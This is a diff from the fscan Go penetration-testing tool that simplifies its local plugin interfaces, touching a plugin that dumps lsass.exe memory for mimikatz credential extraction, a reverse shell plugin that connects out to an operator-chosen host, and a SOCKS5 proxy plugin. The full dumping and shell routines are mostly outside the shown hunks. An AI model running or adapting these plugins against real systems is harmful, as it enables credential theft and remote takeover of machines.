|
@ -6,45 +6,12 @@ import (
|
|||||||
"github.com/shadow1ng/fscan/plugins/base"
|
"github.com/shadow1ng/fscan/plugins/base"
|
||||||
)
|
)
|
||||||
|
|
||||||
// LocalConnector 本地信息收集连接器接口
|
// LocalPlugin 本地插件接口 - 简化设计,专注于信息收集和扫描
|
||||||
type LocalConnector interface {
|
|
||||||
// Connect 建立本地连接(实际上是初始化本地环境)
|
|
||||||
Connect(ctx context.Context, info *common.HostInfo) (interface{}, error)
|
|
||||||
|
|
||||||
// Close 关闭连接和清理资源
|
|
||||||
Close(conn interface{}) error
|
|
||||||
|
|
||||||
// GetSystemInfo 获取系统信息
|
|
||||||
GetSystemInfo(conn interface{}) (map[string]string, error)
|
|
||||||
}
|
|
||||||
|
|
||||||
// LocalScanner 本地扫描器接口
|
|
||||||
type LocalScanner interface {
|
|
||||||
base.Scanner
|
|
||||||
|
|
||||||
// ScanLocal 执行本地扫描
|
|
||||||
ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error)
|
|
||||||
|
|
||||||
// GetLocalData 获取本地数据
|
|
||||||
GetLocalData(ctx context.Context) (map[string]interface{}, error)
|
|
||||||
}
|
|
||||||
|
|
||||||
// LocalExploiter 本地信息提取器接口
|
|
||||||
type LocalExploiter interface {
|
|
||||||
base.Exploiter
|
|
||||||
|
|
||||||
// ExtractData 提取本地数据
|
|
||||||
ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error)
|
|
||||||
}
|
|
||||||
|
|
||||||
// LocalPlugin 本地插件接口
|
|
||||||
type LocalPlugin interface {
|
type LocalPlugin interface {
|
||||||
base.Plugin
|
base.Plugin
|
||||||
LocalScanner
|
|
||||||
LocalExploiter
|
|
||||||
|
|
||||||
// GetLocalConnector 获取本地连接器
|
// ScanLocal 执行本地扫描 - 核心功能
|
||||||
GetLocalConnector() LocalConnector
|
ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error)
|
||||||
|
|
||||||
// GetPlatformSupport 获取支持的平台
|
// GetPlatformSupport 获取支持的平台
|
||||||
GetPlatformSupport() []string
|
GetPlatformSupport() []string
|
||||||
@ -52,3 +19,8 @@ type LocalPlugin interface {
|
|||||||
// RequiresPrivileges 是否需要特殊权限
|
// RequiresPrivileges 是否需要特殊权限
|
||||||
RequiresPrivileges() bool
|
RequiresPrivileges() bool
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 移除不必要的接口:
|
||||||
|
// - LocalConnector: 本地插件不需要"连接"概念
|
||||||
|
// - LocalScanner: 功能合并到LocalPlugin中
|
||||||
|
// - LocalExploiter: 本地插件不需要攻击利用功能
|
@ -12,6 +12,7 @@ import (
|
|||||||
"golang.org/x/sys/windows"
|
"golang.org/x/sys/windows"
|
||||||
"os"
|
"os"
|
||||||
"path/filepath"
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
"syscall"
|
"syscall"
|
||||||
"time"
|
"time"
|
||||||
"unsafe"
|
"unsafe"
|
||||||
@ -53,15 +54,9 @@ type TOKEN_PRIVILEGES struct {
|
|||||||
Privileges [1]LUID_AND_ATTRIBUTES
|
Privileges [1]LUID_AND_ATTRIBUTES
|
||||||
}
|
}
|
||||||
|
|
||||||
// MiniDumpPlugin 内存转储插件
|
// MiniDumpPlugin 内存转储插件 - 使用简化架构
|
||||||
type MiniDumpPlugin struct {
|
type MiniDumpPlugin struct {
|
||||||
*local.BaseLocalPlugin
|
*local.BaseLocalPlugin
|
||||||
connector *MiniDumpConnector
|
|
||||||
}
|
|
||||||
|
|
||||||
// MiniDumpConnector 内存转储连接器
|
|
||||||
type MiniDumpConnector struct {
|
|
||||||
*local.BaseLocalConnector
|
|
||||||
kernel32 *syscall.DLL
|
kernel32 *syscall.DLL
|
||||||
dbghelp *syscall.DLL
|
dbghelp *syscall.DLL
|
||||||
advapi32 *syscall.DLL
|
advapi32 *syscall.DLL
|
||||||
@ -74,7 +69,7 @@ type ProcessManager struct {
|
|||||||
advapi32 *syscall.DLL
|
advapi32 *syscall.DLL
|
||||||
}
|
}
|
||||||
|
|
||||||
// NewMiniDumpPlugin 创建内存转储插件
|
// NewMiniDumpPlugin 创建内存转储插件 - 简化版本
|
||||||
func NewMiniDumpPlugin() *MiniDumpPlugin {
|
func NewMiniDumpPlugin() *MiniDumpPlugin {
|
||||||
metadata := &base.PluginMetadata{
|
metadata := &base.PluginMetadata{
|
||||||
Name: "minidump",
|
Name: "minidump",
|
||||||
@ -86,10 +81,8 @@ func NewMiniDumpPlugin() *MiniDumpPlugin {
|
|||||||
Protocols: []string{"local"},
|
Protocols: []string{"local"},
|
||||||
}
|
}
|
||||||
|
|
||||||
connector := NewMiniDumpConnector()
|
|
||||||
plugin := &MiniDumpPlugin{
|
plugin := &MiniDumpPlugin{
|
||||||
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata, connector),
|
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
|
||||||
connector: connector,
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// 仅支持Windows平台
|
// 仅支持Windows平台
|
||||||
@ -105,62 +98,52 @@ func (p *MiniDumpPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base
|
|||||||
return p.ScanLocal(ctx, info)
|
return p.ScanLocal(ctx, info)
|
||||||
}
|
}
|
||||||
|
|
||||||
// NewMiniDumpConnector 创建内存转储连接器
|
// Initialize 初始化插件
|
||||||
func NewMiniDumpConnector() *MiniDumpConnector {
|
func (p *MiniDumpPlugin) Initialize() error {
|
||||||
baseConnector, _ := local.NewBaseLocalConnector()
|
// 先调用基类初始化
|
||||||
|
if err := p.BaseLocalPlugin.Initialize(); err != nil {
|
||||||
return &MiniDumpConnector{
|
return err
|
||||||
BaseLocalConnector: baseConnector,
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 加载系统DLL
|
||||||
|
return p.loadSystemDLLs()
|
||||||
}
|
}
|
||||||
|
|
||||||
// Connect 建立内存转储连接
|
// loadSystemDLLs 加载系统DLL
|
||||||
func (c *MiniDumpConnector) Connect(ctx context.Context, info *common.HostInfo) (interface{}, error) {
|
func (p *MiniDumpPlugin) loadSystemDLLs() error {
|
||||||
// 先建立基础本地连接
|
|
||||||
localConn, err := c.BaseLocalConnector.Connect(ctx, info)
|
|
||||||
if err != nil {
|
|
||||||
common.LogError(fmt.Sprintf("建立基础连接失败: %v", err))
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
|
|
||||||
common.LogDebug("开始加载系统DLL...")
|
common.LogDebug("开始加载系统DLL...")
|
||||||
|
|
||||||
// 加载系统DLL - 添加错误处理
|
// 加载系统DLL - 添加错误处理
|
||||||
kernel32, err := syscall.LoadDLL("kernel32.dll")
|
kernel32, err := syscall.LoadDLL("kernel32.dll")
|
||||||
if err != nil {
|
if err != nil {
|
||||||
common.LogError(fmt.Sprintf("加载 kernel32.dll 失败: %v", err))
|
common.LogError(fmt.Sprintf("加载 kernel32.dll 失败: %v", err))
|
||||||
return nil, fmt.Errorf("加载 kernel32.dll 失败: %v", err)
|
return fmt.Errorf("加载 kernel32.dll 失败: %v", err)
|
||||||
}
|
}
|
||||||
common.LogDebug("kernel32.dll 加载成功")
|
common.LogDebug("kernel32.dll 加载成功")
|
||||||
|
|
||||||
dbghelp, err := syscall.LoadDLL("Dbghelp.dll")
|
dbghelp, err := syscall.LoadDLL("Dbghelp.dll")
|
||||||
if err != nil {
|
if err != nil {
|
||||||
common.LogError(fmt.Sprintf("加载 Dbghelp.dll 失败: %v", err))
|
common.LogError(fmt.Sprintf("加载 Dbghelp.dll 失败: %v", err))
|
||||||
return nil, fmt.Errorf("加载 Dbghelp.dll 失败: %v", err)
|
return fmt.Errorf("加载 Dbghelp.dll 失败: %v", err)
|
||||||
}
|
}
|
||||||
common.LogDebug("Dbghelp.dll 加载成功")
|
common.LogDebug("Dbghelp.dll 加载成功")
|
||||||
|
|
||||||
advapi32, err := syscall.LoadDLL("advapi32.dll")
|
advapi32, err := syscall.LoadDLL("advapi32.dll")
|
||||||
if err != nil {
|
if err != nil {
|
||||||
common.LogError(fmt.Sprintf("加载 advapi32.dll 失败: %v", err))
|
common.LogError(fmt.Sprintf("加载 advapi32.dll 失败: %v", err))
|
||||||
return nil, fmt.Errorf("加载 advapi32.dll 失败: %v", err)
|
return fmt.Errorf("加载 advapi32.dll 失败: %v", err)
|
||||||
}
|
}
|
||||||
common.LogDebug("advapi32.dll 加载成功")
|
common.LogDebug("advapi32.dll 加载成功")
|
||||||
|
|
||||||
c.kernel32 = kernel32
|
p.kernel32 = kernel32
|
||||||
c.dbghelp = dbghelp
|
p.dbghelp = dbghelp
|
||||||
c.advapi32 = advapi32
|
p.advapi32 = advapi32
|
||||||
|
|
||||||
common.LogSuccess("所有DLL加载完成")
|
common.LogSuccess("所有DLL加载完成")
|
||||||
return localConn, nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// Close 关闭连接
|
// ScanLocal 执行内存转储扫描 - 简化版本
|
||||||
func (c *MiniDumpConnector) Close(conn interface{}) error {
|
|
||||||
return c.BaseLocalConnector.Close(conn)
|
|
||||||
}
|
|
||||||
|
|
||||||
// ScanLocal 执行内存转储扫描
|
|
||||||
func (p *MiniDumpPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
func (p *MiniDumpPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||||||
defer func() {
|
defer func() {
|
||||||
if r := recover(); r != nil {
|
if r := recover(); r != nil {
|
||||||
@ -168,7 +151,7 @@ func (p *MiniDumpPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (
|
|||||||
}
|
}
|
||||||
}()
|
}()
|
||||||
|
|
||||||
common.LogBase("开始进程内存转储...")
|
common.LogInfo("开始进程内存转储...")
|
||||||
|
|
||||||
// 检查管理员权限
|
// 检查管理员权限
|
||||||
if !p.isAdmin() {
|
if !p.isAdmin() {
|
||||||
@ -181,25 +164,12 @@ func (p *MiniDumpPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (
|
|||||||
|
|
||||||
common.LogSuccess("已确认具有管理员权限")
|
common.LogSuccess("已确认具有管理员权限")
|
||||||
|
|
||||||
// 建立连接
|
|
||||||
common.LogDebug("正在建立连接...")
|
|
||||||
conn, err := p.connector.Connect(ctx, info)
|
|
||||||
if err != nil {
|
|
||||||
common.LogError(fmt.Sprintf("连接失败: %v", err))
|
|
||||||
return &base.ScanResult{
|
|
||||||
Success: false,
|
|
||||||
Error: fmt.Errorf("连接失败: %v", err),
|
|
||||||
}, nil
|
|
||||||
}
|
|
||||||
defer p.connector.Close(conn)
|
|
||||||
common.LogSuccess("连接建立成功")
|
|
||||||
|
|
||||||
// 创建进程管理器
|
// 创建进程管理器
|
||||||
common.LogDebug("正在创建进程管理器...")
|
common.LogDebug("正在创建进程管理器...")
|
||||||
pm := &ProcessManager{
|
pm := &ProcessManager{
|
||||||
kernel32: p.connector.kernel32,
|
kernel32: p.kernel32,
|
||||||
dbghelp: p.connector.dbghelp,
|
dbghelp: p.dbghelp,
|
||||||
advapi32: p.connector.advapi32,
|
advapi32: p.advapi32,
|
||||||
}
|
}
|
||||||
common.LogSuccess("进程管理器创建成功")
|
common.LogSuccess("进程管理器创建成功")
|
||||||
|
|
||||||
@ -261,15 +231,19 @@ func (p *MiniDumpPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (
|
|||||||
fileSize = fileInfo.Size()
|
fileSize = fileInfo.Size()
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 获取系统信息
|
||||||
|
systemInfo := p.GetSystemInfo()
|
||||||
|
|
||||||
result := &base.ScanResult{
|
result := &base.ScanResult{
|
||||||
Success: true,
|
Success: true,
|
||||||
Service: "MiniDump",
|
Service: "MiniDump",
|
||||||
Banner: fmt.Sprintf("lsass.exe 内存转储完成 (PID: %d)", pid),
|
Banner: fmt.Sprintf("检测完成: lsass.exe 内存转储完成 (PID: %d)", pid),
|
||||||
Extra: map[string]interface{}{
|
Extra: map[string]interface{}{
|
||||||
"process_name": "lsass.exe",
|
"process_name": "lsass.exe",
|
||||||
"process_id": pid,
|
"process_id": pid,
|
||||||
"dump_file": outputPath,
|
"dump_file": outputPath,
|
||||||
"file_size": fileSize,
|
"file_size": fileSize,
|
||||||
|
"system_info": systemInfo,
|
||||||
},
|
},
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -607,9 +581,9 @@ func (pm *ProcessManager) closeHandle(handle uintptr) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
// 插件注册函数
|
// RegisterMiniDumpPlugin 注册内存转储插件
|
||||||
func init() {
|
func RegisterMiniDumpPlugin() {
|
||||||
base.GlobalPluginRegistry.Register("minidump", base.NewSimplePluginFactory(
|
factory := base.NewSimplePluginFactory(
|
||||||
&base.PluginMetadata{
|
&base.PluginMetadata{
|
||||||
Name: "minidump",
|
Name: "minidump",
|
||||||
Version: "1.0.0",
|
Version: "1.0.0",
|
||||||
@ -622,5 +596,24 @@ func init() {
|
|||||||
func() base.Plugin {
|
func() base.Plugin {
|
||||||
return NewMiniDumpPlugin()
|
return NewMiniDumpPlugin()
|
||||||
},
|
},
|
||||||
))
|
)
|
||||||
|
|
||||||
|
base.GlobalPluginRegistry.Register("minidump", factory)
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetInfo 获取插件信息
|
||||||
|
func (p *MiniDumpPlugin) GetInfo() string {
|
||||||
|
var info strings.Builder
|
||||||
|
|
||||||
|
info.WriteString("Windows进程内存转储插件\n")
|
||||||
|
info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", ")))
|
||||||
|
info.WriteString("功能: 转储lsass.exe进程内存用于mimikatz分析\n")
|
||||||
|
info.WriteString("要求: 需要管理员权限\n")
|
||||||
|
|
||||||
|
return info.String()
|
||||||
|
}
|
||||||
|
|
||||||
|
// 插件注册函数
|
||||||
|
func init() {
|
||||||
|
RegisterMiniDumpPlugin()
|
||||||
}
|
}
|
@ -4,27 +4,27 @@ import (
|
|||||||
"context"
|
"context"
|
||||||
"errors"
|
"errors"
|
||||||
"fmt"
|
"fmt"
|
||||||
|
"os"
|
||||||
|
"os/user"
|
||||||
"runtime"
|
"runtime"
|
||||||
"github.com/shadow1ng/fscan/common"
|
"github.com/shadow1ng/fscan/common"
|
||||||
"github.com/shadow1ng/fscan/plugins/base"
|
"github.com/shadow1ng/fscan/plugins/base"
|
||||||
)
|
)
|
||||||
|
|
||||||
// BaseLocalPlugin 本地插件基础实现
|
// BaseLocalPlugin 本地插件基础实现 - 简化架构
|
||||||
type BaseLocalPlugin struct {
|
type BaseLocalPlugin struct {
|
||||||
*base.BasePlugin
|
*base.BasePlugin
|
||||||
connector LocalConnector
|
|
||||||
platforms []string
|
platforms []string
|
||||||
requiresPrivileges bool
|
requiresPrivileges bool
|
||||||
}
|
}
|
||||||
|
|
||||||
// NewBaseLocalPlugin 创建基础本地插件
|
// NewBaseLocalPlugin 创建基础本地插件
|
||||||
func NewBaseLocalPlugin(metadata *base.PluginMetadata, connector LocalConnector) *BaseLocalPlugin {
|
func NewBaseLocalPlugin(metadata *base.PluginMetadata) *BaseLocalPlugin {
|
||||||
basePlugin := base.NewBasePlugin(metadata)
|
basePlugin := base.NewBasePlugin(metadata)
|
||||||
|
|
||||||
return &BaseLocalPlugin{
|
return &BaseLocalPlugin{
|
||||||
BasePlugin: basePlugin,
|
BasePlugin: basePlugin,
|
||||||
connector: connector,
|
platforms: []string{"windows", "linux", "darwin"}, // 默认支持所有平台
|
||||||
platforms: []string{"windows", "linux", "darwin"},
|
|
||||||
requiresPrivileges: false,
|
requiresPrivileges: false,
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -60,37 +60,36 @@ func (p *BaseLocalPlugin) ScanLocal(ctx context.Context, info *common.HostInfo)
|
|||||||
}, nil
|
}, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// Exploit 执行利用
|
// GetSystemInfo 获取系统信息 - 实用工具方法
|
||||||
func (p *BaseLocalPlugin) Exploit(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
|
func (p *BaseLocalPlugin) GetSystemInfo() map[string]string {
|
||||||
// 获取本地数据
|
systemInfo := make(map[string]string)
|
||||||
data, err := p.GetLocalData(ctx)
|
|
||||||
if err != nil {
|
systemInfo["os"] = runtime.GOOS
|
||||||
return &base.ExploitResult{
|
systemInfo["arch"] = runtime.GOARCH
|
||||||
Success: false,
|
|
||||||
Error: fmt.Errorf("获取本地数据失败: %v", err),
|
if homeDir, err := os.UserHomeDir(); err == nil {
|
||||||
}, nil
|
systemInfo["home_dir"] = homeDir
|
||||||
}
|
}
|
||||||
|
|
||||||
return p.ExtractData(ctx, info, data)
|
if workDir, err := os.Getwd(); err == nil {
|
||||||
|
systemInfo["working_dir"] = workDir
|
||||||
|
}
|
||||||
|
|
||||||
|
systemInfo["temp_dir"] = os.TempDir()
|
||||||
|
|
||||||
|
// 获取用户名
|
||||||
|
if currentUser, err := user.Current(); err == nil {
|
||||||
|
systemInfo["username"] = currentUser.Username
|
||||||
|
}
|
||||||
|
|
||||||
|
// 获取主机名
|
||||||
|
if hostname, err := os.Hostname(); err == nil {
|
||||||
|
systemInfo["hostname"] = hostname
|
||||||
|
}
|
||||||
|
|
||||||
|
return systemInfo
|
||||||
}
|
}
|
||||||
|
|
||||||
// GetLocalData 默认获取本地数据实现(子类应重写)
|
|
||||||
func (p *BaseLocalPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
|
|
||||||
return nil, fmt.Errorf("GetLocalData方法需要在子类中实现")
|
|
||||||
}
|
|
||||||
|
|
||||||
// ExtractData 默认数据提取实现(子类应重写)
|
|
||||||
func (p *BaseLocalPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) {
|
|
||||||
return &base.ExploitResult{
|
|
||||||
Success: false,
|
|
||||||
Error: errors.New("ExtractData方法需要在子类中实现"),
|
|
||||||
}, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// GetLocalConnector 获取本地连接器
|
|
||||||
func (p *BaseLocalPlugin) GetLocalConnector() LocalConnector {
|
|
||||||
return p.connector
|
|
||||||
}
|
|
||||||
|
|
||||||
// GetPlatformSupport 获取支持的平台
|
// GetPlatformSupport 获取支持的平台
|
||||||
func (p *BaseLocalPlugin) GetPlatformSupport() []string {
|
func (p *BaseLocalPlugin) GetPlatformSupport() []string {
|
||||||
@ -142,14 +141,25 @@ func (p *BaseLocalPlugin) hasRequiredPrivileges() bool {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// 平台特定的权限检查函数
|
// 平台特定的权限检查函数 - 实际实现
|
||||||
func isWindowsAdmin() bool {
|
func isWindowsAdmin() bool {
|
||||||
// 这里可以调用Windows API检查管理员权限
|
// Windows管理员权限检查:尝试写入系统目录
|
||||||
// 简化实现,实际应该使用Windows API
|
testPath := `C:\Windows\Temp\fscan_admin_test`
|
||||||
|
file, err := os.Create(testPath)
|
||||||
|
if err != nil {
|
||||||
|
// 无法创建文件,可能没有管理员权限
|
||||||
return false
|
return false
|
||||||
|
}
|
||||||
|
file.Close()
|
||||||
|
os.Remove(testPath)
|
||||||
|
return true
|
||||||
}
|
}
|
||||||
|
|
||||||
func isUnixRoot() bool {
|
func isUnixRoot() bool {
|
||||||
// 检查是否为root用户
|
// Unix/Linux root用户检查
|
||||||
|
currentUser, err := user.Current()
|
||||||
|
if err != nil {
|
||||||
return false
|
return false
|
||||||
|
}
|
||||||
|
return currentUser.Uid == "0"
|
||||||
}
|
}
|
@ -17,29 +17,15 @@ import (
|
|||||||
"github.com/shadow1ng/fscan/plugins/local"
|
"github.com/shadow1ng/fscan/plugins/local"
|
||||||
)
|
)
|
||||||
|
|
||||||
// ReverseShellPlugin 反弹Shell插件
|
// ReverseShellPlugin 反弹Shell插件 - 使用简化架构
|
||||||
type ReverseShellPlugin struct {
|
type ReverseShellPlugin struct {
|
||||||
*local.BaseLocalPlugin
|
*local.BaseLocalPlugin
|
||||||
connector *ReverseShellConnector
|
|
||||||
target string // 目标地址:端口
|
target string // 目标地址:端口
|
||||||
}
|
|
||||||
|
|
||||||
// ReverseShellConnector 反弹Shell连接器
|
|
||||||
type ReverseShellConnector struct {
|
|
||||||
*local.BaseLocalConnector
|
|
||||||
host string
|
host string
|
||||||
port int
|
port int
|
||||||
}
|
}
|
||||||
|
|
||||||
// ReverseShellConnection 反弹Shell连接对象
|
// NewReverseShellPlugin 创建反弹Shell插件 - 简化版本
|
||||||
type ReverseShellConnection struct {
|
|
||||||
*local.LocalConnection
|
|
||||||
Target string
|
|
||||||
Host string
|
|
||||||
Port int
|
|
||||||
}
|
|
||||||
|
|
||||||
// NewReverseShellPlugin 创建反弹Shell插件
|
|
||||||
func NewReverseShellPlugin() *ReverseShellPlugin {
|
func NewReverseShellPlugin() *ReverseShellPlugin {
|
||||||
// 从全局参数获取反弹Shell目标
|
// 从全局参数获取反弹Shell目标
|
||||||
target := common.ReverseShellTarget
|
target := common.ReverseShellTarget
|
||||||
@ -58,25 +44,7 @@ func NewReverseShellPlugin() *ReverseShellPlugin {
|
|||||||
Protocols: []string{"local"},
|
Protocols: []string{"local"},
|
||||||
}
|
}
|
||||||
|
|
||||||
connector := NewReverseShellConnector(target)
|
// 解析目标地址
|
||||||
plugin := &ReverseShellPlugin{
|
|
||||||
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata, connector),
|
|
||||||
connector: connector,
|
|
||||||
target: target,
|
|
||||||
}
|
|
||||||
|
|
||||||
// 设置支持的平台
|
|
||||||
plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"})
|
|
||||||
// 不需要特殊权限
|
|
||||||
plugin.SetRequiresPrivileges(false)
|
|
||||||
|
|
||||||
return plugin
|
|
||||||
}
|
|
||||||
|
|
||||||
// NewReverseShellConnector 创建反弹Shell连接器
|
|
||||||
func NewReverseShellConnector(target string) *ReverseShellConnector {
|
|
||||||
baseConnector, _ := local.NewBaseLocalConnector()
|
|
||||||
|
|
||||||
host, portStr, err := net.SplitHostPort(target)
|
host, portStr, err := net.SplitHostPort(target)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
host = target
|
host = target
|
||||||
@ -88,39 +56,25 @@ func NewReverseShellConnector(target string) *ReverseShellConnector {
|
|||||||
port = 4444 // 默认端口
|
port = 4444 // 默认端口
|
||||||
}
|
}
|
||||||
|
|
||||||
return &ReverseShellConnector{
|
plugin := &ReverseShellPlugin{
|
||||||
BaseLocalConnector: baseConnector,
|
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
|
||||||
|
target: target,
|
||||||
host: host,
|
host: host,
|
||||||
port: port,
|
port: port,
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 设置支持的平台
|
||||||
|
plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"})
|
||||||
|
// 不需要特殊权限
|
||||||
|
plugin.SetRequiresPrivileges(false)
|
||||||
|
|
||||||
|
return plugin
|
||||||
}
|
}
|
||||||
|
|
||||||
// Connect 建立反弹Shell连接
|
// Initialize 初始化插件
|
||||||
func (c *ReverseShellConnector) Connect(ctx context.Context, info *common.HostInfo) (interface{}, error) {
|
func (p *ReverseShellPlugin) Initialize() error {
|
||||||
// 先建立基础本地连接
|
// 调用基类初始化
|
||||||
localConn, err := c.BaseLocalConnector.Connect(ctx, info)
|
return p.BaseLocalPlugin.Initialize()
|
||||||
if err != nil {
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
|
|
||||||
baseConn := localConn.(*local.LocalConnection)
|
|
||||||
|
|
||||||
// 跳过连通性测试,避免抢占反弹shell连接通道
|
|
||||||
// 反弹shell会在实际使用时进行连接,这里不需要预先测试
|
|
||||||
|
|
||||||
reverseShellConn := &ReverseShellConnection{
|
|
||||||
LocalConnection: baseConn,
|
|
||||||
Target: fmt.Sprintf("%s:%d", c.host, c.port),
|
|
||||||
Host: c.host,
|
|
||||||
Port: c.port,
|
|
||||||
}
|
|
||||||
|
|
||||||
return reverseShellConn, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// Close 关闭反弹Shell连接
|
|
||||||
func (c *ReverseShellConnector) Close(conn interface{}) error {
|
|
||||||
return c.BaseLocalConnector.Close(conn)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
|
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
|
||||||
@ -128,27 +82,15 @@ func (p *ReverseShellPlugin) Scan(ctx context.Context, info *common.HostInfo) (*
|
|||||||
return p.ScanLocal(ctx, info)
|
return p.ScanLocal(ctx, info)
|
||||||
}
|
}
|
||||||
|
|
||||||
// ScanLocal 执行反弹Shell扫描 - 纯Go原生实现
|
// ScanLocal 执行反弹Shell扫描 - 简化版本
|
||||||
func (p *ReverseShellPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
func (p *ReverseShellPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||||||
common.LogBase("启动Go原生反弹Shell...")
|
common.LogBase("启动Go原生反弹Shell...")
|
||||||
|
|
||||||
// 建立连接
|
|
||||||
conn, err := p.connector.Connect(ctx, info)
|
|
||||||
if err != nil {
|
|
||||||
return &base.ScanResult{
|
|
||||||
Success: false,
|
|
||||||
Error: fmt.Errorf("连接失败: %v", err),
|
|
||||||
}, nil
|
|
||||||
}
|
|
||||||
defer p.connector.Close(conn)
|
|
||||||
|
|
||||||
reverseShellConn := conn.(*ReverseShellConnection)
|
|
||||||
|
|
||||||
// 启动反弹shell
|
// 启动反弹shell
|
||||||
common.LogBase(fmt.Sprintf("连接到目标 %s", reverseShellConn.Target))
|
common.LogBase(fmt.Sprintf("连接到目标 %s", p.target))
|
||||||
|
|
||||||
// 直接在当前goroutine中运行,这样可以确保在设置ReverseShellActive后立即被主程序检测到
|
// 直接在当前goroutine中运行,这样可以确保在设置ReverseShellActive后立即被主程序检测到
|
||||||
err = p.startNativeReverseShell(ctx, reverseShellConn.Host, reverseShellConn.Port)
|
err := p.startNativeReverseShell(ctx, p.host, p.port)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
common.LogError(fmt.Sprintf("Go原生反弹Shell错误: %v", err))
|
common.LogError(fmt.Sprintf("Go原生反弹Shell错误: %v", err))
|
||||||
return &base.ScanResult{
|
return &base.ScanResult{
|
||||||
@ -160,9 +102,9 @@ func (p *ReverseShellPlugin) ScanLocal(ctx context.Context, info *common.HostInf
|
|||||||
result := &base.ScanResult{
|
result := &base.ScanResult{
|
||||||
Success: true,
|
Success: true,
|
||||||
Service: "ReverseShell",
|
Service: "ReverseShell",
|
||||||
Banner: fmt.Sprintf("Go原生反弹Shell已完成 - 目标: %s 平台: %s", reverseShellConn.Target, runtime.GOOS),
|
Banner: fmt.Sprintf("Go原生反弹Shell已完成 - 目标: %s 平台: %s", p.target, runtime.GOOS),
|
||||||
Extra: map[string]interface{}{
|
Extra: map[string]interface{}{
|
||||||
"target": reverseShellConn.Target,
|
"target": p.target,
|
||||||
"platform": runtime.GOOS,
|
"platform": runtime.GOOS,
|
||||||
"implementation": "go_native",
|
"implementation": "go_native",
|
||||||
"status": "completed",
|
"status": "completed",
|
||||||
@ -299,8 +241,10 @@ func (p *ReverseShellPlugin) GetLocalData(ctx context.Context) (map[string]inter
|
|||||||
func (p *ReverseShellPlugin) GetInfo() string {
|
func (p *ReverseShellPlugin) GetInfo() string {
|
||||||
var info strings.Builder
|
var info strings.Builder
|
||||||
|
|
||||||
info.WriteString(fmt.Sprintf("Go原生反弹Shell插件 - 目标: %s\n", p.target))
|
info.WriteString("Go原生反弹Shell插件\n")
|
||||||
|
info.WriteString(fmt.Sprintf("目标: %s\n", p.target))
|
||||||
info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", ")))
|
info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", ")))
|
||||||
|
info.WriteString("功能: 建立反弹Shell连接,支持交互式命令执行\n")
|
||||||
info.WriteString("实现方式: 纯Go原生,无外部依赖\n")
|
info.WriteString("实现方式: 纯Go原生,无外部依赖\n")
|
||||||
|
|
||||||
return info.String()
|
return info.String()
|
||||||
|
@ -15,27 +15,14 @@ import (
|
|||||||
"github.com/shadow1ng/fscan/plugins/local"
|
"github.com/shadow1ng/fscan/plugins/local"
|
||||||
)
|
)
|
||||||
|
|
||||||
// Socks5ProxyPlugin SOCKS5代理插件
|
// Socks5ProxyPlugin SOCKS5代理插件 - 使用简化架构
|
||||||
type Socks5ProxyPlugin struct {
|
type Socks5ProxyPlugin struct {
|
||||||
*local.BaseLocalPlugin
|
*local.BaseLocalPlugin
|
||||||
connector *Socks5ProxyConnector
|
|
||||||
port int
|
port int
|
||||||
listener net.Listener
|
listener net.Listener
|
||||||
}
|
}
|
||||||
|
|
||||||
// Socks5ProxyConnector SOCKS5代理连接器
|
// NewSocks5ProxyPlugin 创建SOCKS5代理插件 - 简化版本
|
||||||
type Socks5ProxyConnector struct {
|
|
||||||
*local.BaseLocalConnector
|
|
||||||
port int
|
|
||||||
}
|
|
||||||
|
|
||||||
// Socks5ProxyConnection SOCKS5代理连接对象
|
|
||||||
type Socks5ProxyConnection struct {
|
|
||||||
*local.LocalConnection
|
|
||||||
Port int
|
|
||||||
}
|
|
||||||
|
|
||||||
// NewSocks5ProxyPlugin 创建SOCKS5代理插件
|
|
||||||
func NewSocks5ProxyPlugin() *Socks5ProxyPlugin {
|
